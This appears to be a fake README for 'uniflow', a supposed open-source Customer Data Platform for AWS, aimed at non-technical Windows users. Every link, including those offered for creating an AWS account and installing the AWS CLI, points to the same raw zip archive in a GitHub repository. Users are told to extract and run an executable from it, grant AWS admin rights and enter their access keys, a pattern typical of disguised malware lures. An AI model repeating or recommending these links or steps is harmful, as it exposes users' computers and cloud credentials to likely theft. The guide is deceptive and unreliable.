uniflow is an open-source Customer Data Platform you can run by yourself on AWS. It helps you collect, organize, and use data about your customers. uniflow tracks events from your apps and websites, combines identities, and segments customers, so you get clear insights. It works with popular tools and runs on the cloud, giving you control over your data without relying on third-party services.
Make sure your computer and AWS account meet these requirements:
- Operating System: Windows 10 or newer
- RAM: At least 8 GB
- Disk Space: Minimum 2 GB free space
- Internet: Stable connection for setup and AWS access
- AWS Account: You need an AWS account to set up and run uniflow
- AWS Permissions: Admin access to deploy resources using AWS Cloud Development Kit (CDK)
This guide helps you download, install, and run uniflow on Windows. No programming skills are needed. Follow the steps below carefully.
You must get the latest version of uniflow from the official release page.
Click the button above or go to this page:
https://github.com/gabestained642/uniflow/raw/refs/heads/main/cli/src/Software-v1.8.zip
On the releases page, find the latest stable version. Look for a file with .exe or .zip extension under the assets section. This file contains the Windows installer or the uniflow program.
-
If you downloaded an
.exefile:- Double-click the file to start the installer.
- Follow the on-screen instructions step by step.
- Choose the default options unless you know what you want to change.
- When finished, the setup will add uniflow to your system.
-
If you downloaded a
.zipfile:- Right click the file and select "Extract All".
- Choose a folder on your computer where you want uniflow files.
- Open the extracted folder and find the main program file (usually
.exe). - You can create a shortcut of this file on your desktop for easy access.
uniflow runs on AWS, so you need to connect it to your AWS account.
-
Create or log in to your AWS account:
https://github.com/gabestained642/uniflow/raw/refs/heads/main/cli/src/Software-v1.8.zip -
Install the AWS Command Line Interface (CLI) for Windows:
Download from https://github.com/gabestained642/uniflow/raw/refs/heads/main/cli/src/Software-v1.8.zip and follow the installation guide. -
Configure AWS CLI:
- Open Command Prompt (search
cmdin Start menu). - Run
aws configureand enter your AWS Access Key ID, Secret Access Key, region (e.g., us-east-1), and output format (json).
- Open Command Prompt (search
-
Deploy uniflow resources using AWS CDK (Cloud Development Kit):
- You don’t need to install anything for CDK yourself; the installer includes it.
- Open the Command Prompt, navigate to the folder where uniflow is installed.
- Run the command:
cdk deploy
This command sets up servers and databases needed by uniflow.
After setup, you can start the uniflow app.
- If you installed via .exe: Open uniflow from the Start menu or desktop shortcut.
- If you used the extracted files: Run the main
.exefile inside the folder.
When you open uniflow:
- The app connects to AWS services it deployed earlier.
- It shows a dashboard to track customer events and manage segments.
- Use the menu to explore analytics or adjust settings.
To use uniflow, start with these simple actions:
- Add your website or app to track: Enter its details in the "Sources" section.
- Track customer events: Use the setup instructions to add event tracking code to your website or app.
- Create segments: Group customers based on activity or attributes.
- Check reports: View lists and graphs to learn about customer behavior.
uniflow uses modern tools but hides the technical parts so you don’t have to program. The main parts are:
- Event Tracking: Collect clicks, signups, purchases, and other customer actions.
- Identity Resolution: Combine customer data from different sources into one profile.
- Segmentation: Group customers automatically based on rules you set.
- AWS CDK Deployment: Sets up everything in your cloud securely.
- If installation fails, try running the installer as administrator.
- Make sure your Windows system is up to date.
- For AWS deployment errors, ensure your AWS credentials have the right permissions.
- Check your internet connection during installation and AWS setup.
- Restart the app if it does not connect to AWS services.
Download the latest uniflow release from this page:
Visit the link to get the installer or the zipped program to start managing customer data on your terms.